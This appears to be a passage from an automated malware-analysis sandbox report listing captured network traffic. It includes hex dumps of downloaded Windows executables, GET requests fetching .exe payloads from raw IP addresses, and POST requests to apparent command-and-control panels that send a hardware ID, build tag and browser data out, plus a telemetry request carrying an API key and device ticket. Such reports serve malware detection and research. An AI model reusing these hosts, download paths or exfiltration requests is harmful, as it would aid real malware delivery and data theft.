0d 00 00 0e 00 00 00 c6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 10 0d 00 00 02 00 00 00 d4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 20 0d 00 00 02 00 00 00 d6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 30 0d 00 00 06 00 00 00 d8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 18 3c 00 00 00 40 0d 00 00 3e 00 00 00 de 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 80 0d 00 00 06 00 00 00 1c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 90 0d 00 00 ca 00 00 00 22 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 60 0e 00 00 28 00 00 00 ec 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 9a 2d 00 00 00 90 0e 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 18 Nov 2024 22:04:42 GMTContent-Type: application/octet-streamContent-Length: 2758144Last-Modified: Mon, 18 Nov 2024 21:22:54 GMTConnection: keep-aliveETag: "673bb02e-2a1600"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 80 2a 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 c0 2a 00 00 04 00 00 bf 66 2a 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 78 7a 69 66 67 68 69 73 00 c0 29 00 00 a0 00 00 00 b6 29 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6a 71 72 79 6e 73 66 74 00 20 00 00 00 60 2a 00 00 04 00 00 00 f0 29 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 80 2a 00 00 22 00 00 00 f4 29 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 18 Nov 2024 22:04:47 GMTContent-Type: application/octet-streamContent-Length: 4380160Last-Modified: Mon, 18 Nov 2024 19:54:46 GMTConnection: keep-aliveETag: "673b9b86-42d600"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 a7 ca 39 67 00 00 00 00 00 00 00 00 e0 00 0e 03 0b 01 02 28 00 d4 48 00 00 ee 67 00 00 32 00 00 00 70 b8 00 00 10 00 00 00 f0 48 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 a0 b8 00 00 04 00 00 23 a3 43 00 02 00 40 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5f 70 65 00 73 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 5f b8 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 98 5f b8 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 50 65 00 00 10 00 00 00 6c 27 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 20 20 20 00 10 00 00 00 60 65 00 00 00 00 00 00 7c 27 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 70 65 00 00 02 00 00 00 7c 27 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 b0 37 00 00 80 65 00 00 02 00 00 00 7e 27 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6d 63 62 62 61 62 67 6e 00 30 1b 00 00 30 9d 00 00 30 1b 00 00 80 27 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6e 76 63 61 64 6b 69 67 00 10 00 00 00 60 b8 00 00 04 00 00 00 b0 42 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 70 b8 00 00 22 00 00 00 b4 42 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 18 Nov 2024 22:04:49 GMTContent-Type: application/octet-streamContent-Length: 2758144Last-Modified: Mon, 18 Nov 2024 21:22:56 GMTConnection: keep-aliveETag: "673bb030-2a1600"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 80 2a 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 c0 2a 00 00 04 00 00 bf 66 2a 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 78 7a 69 66 67 68 69 73 00 c0 29 00 00 a0 00 00 00 b6 29 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6a 71 72 79 6e 73 66 74 00 20 00 00 00 60 2a 00 00 04 00 00 00 f0 29 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 80 2a 00 00 22 00 00 00 f4 29 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 18 Nov 2024 22:04:49 GMTContent-Type: application/octet-streamContent-Length: 2758144Last-Modified: Mon, 18 Nov 2024 21:22:56 GMTConnection: keep-aliveETag: "673bb030-2a1600"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 80 2a 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 c0 2a 00 00 04 00 00 bf 66 2a 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 78 7a 69 66 67 68 69 73 00 c0 29 00 00 a0 00 00 00 b6 29 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6a 71 72 79 6e 73 66 74 00 20 00 00 00 60 2a 00 00 04 00 00 00 f0 29 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 80 2a 00 00 22 00 00 00 f4 29 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 18 Nov 2024 22:04:51 GMTContent-Type: application/octet-streamContent-Length: 1834496Last-Modified: Mon, 18 Nov 2024 21:24:19 GMTConnection: keep-aliveETag: "673bb083-1bfe00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 ce ac e2 38 8a cd 8c 6b 8a cd 8c 6b 8a cd 8c 6b e5 bb 27 6b 92 cd 8c 6b e5 bb 12 6b 87 cd 8c 6b e5 bb 26 6b b0 cd 8c 6b 83 b5 0f 6b 89 cd 8c 6b 83 b5 1f 6b 88 cd 8c 6b 0a b4 8d 6a 89 cd 8c 6b 8a cd 8d 6b d1 cd 8c 6b e5 bb 23 6b 98 cd 8c 6b e5 bb 11 6b 8b cd 8c 6b 52 69 63 68 8a cd 8c 6b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 4f c3 2f 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 22 01 00 00 00 00 00 00 30 6a 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 60 6a 00 00 04 00 00 1a 52 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 4d b0 24 00 61 00 00 00 00 a0 24 00 ac 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 b1 24 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 90 24 00 00 10 00 00 00 62 01 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 ac 01 00 00 00 a0 24 00 00 02 00 00 00 72 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 b0 24 00 00 02 00 00 00 74 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 00 2b 00 00 c0 24 00 00 02 00 00 00 76 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 62 6f 76 71 68 6e 65 72 00 60 1a 00 00 c0 4f 00 00 5e 1a 00 00 78 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 66 75 69 61 72 61 69 76 00 10 00 00 00 20 6a 00 00 06 00 00 00 d6 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 30 6a 00 00 22 00 00 00 dc 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: POST /OneCollector/1.0/ HTTP/1.1Accept: /APIKey: cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521AuthMsaDeviceTicket: t=GwAWAbuEBAAU2qcZHJoKGNizGOeyqM4OaIoSZ0MOZgAAEJanOM/f8BEauEo6GRqguxLgAJt0LBh1uWaBD08sPTthnLouxyOeqq8UXC40zxYtXUeuLL3jc98oc4sgTt8Qg5RgpVyPUGOqQCdIMU+jHj5jPNgpCOYLzgjk7/68jQbYqRpL5buJGDaKHJUU4Qzi5sjC1iwUwrkBZLfklCNSWdGai+iykzR0ELnFD4lJb88vZch+TXuihcRzjbZvJG6mFONQPa3ignNQpsSbQgkMM4xuASI/kaIM+YTU5dBQE1SH8k0CwZj5Yc3H1S94NyGSn+DeuALqccEE8gt3uchW9hnkYs9tmlAQt7GBc9BBk/kSpz+oHgE=&p=Client-Id: NO_AUTHContent-Encoding: deflateContent-Type: application/bond-compact-binaryExpect: 100-continueSDK-Version: EVT-Windows-C++-No-3.4.15.1Upload-Time: 1731967668195Host: self.events.data.microsoft.comContent-Length: 7975Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 33 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB12975B35A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: GET /files/Potwierdzenie.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 65 31 3d 31 30 30 37 32 35 31 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: e1=1007251001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 37 32 35 32 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1007252001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 37 32 35 33 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1007253001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /well/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AFCFHJJECAEHJJKEHIDBHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 46 43 46 48 4a 4a 45 43 41 45 48 4a 4a 4b 45 48 49 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 35 34 37 30 34 38 32 38 32 34 35 31 33 38 38 39 34 31 30 35 33 0d 0a 2d 2d 2d 2d 2d 2d 41 46 43 46 48 4a 4a 45 43 41 45 48 4a 4a 4b 45 48 49 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 41 46 43 46 48 4a 4a 45 43 41 45 48 4a 4a 4b 45 48 49 44 42 2d 2d 0d 0a Data Ascii: ------AFCFHJJECAEHJJKEHIDBContent-Disposition: form-data; name="hwid"9547048282451388941053------AFCFHJJECAEHJJKEHIDBContent-Disposition: form-data; name="build"mars------AFCFHJJECAEHJJKEHIDB--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KJDGDBFBGIDGIEBGHCGIHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 4a 44 47 44 42 46 42 47 49 44 47 49 45 42 47 48 43 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 38 31 34 61 64 31 33 36 31 66 62 36 61 36 37 39 33 32 64 63 37 30 34 61 36 30 36 64 36 65 61 30 36 64 31 66 31 62 39 37 36 61 62 65 37 37 35 38 62 31 39 63 38 39 30 30 38 66 63 62 61 38 35 65 38 31 62 63 35 65 34 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 44 47 44 42 46 42 47 49 44 47 49 45 42 47 48 43 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 44 47 44 42 46 42 47 49 44 47 49 45 42 47 48 43 47 49 2d 2d 0d 0a Data Ascii: ------KJDGDBFBGIDGIEBGHCGIContent-Disposition: form-data; name="token"c814ad1361fb6a67932dc704a606d6ea06d1f1b976abe7758b19c89008fcba85e81bc5e4------KJDGDBFBGIDGIEBGHCGIContent-Disposition: form-data; name="message"browsers------KJDGDBFBGIDGIEBGHCGI--
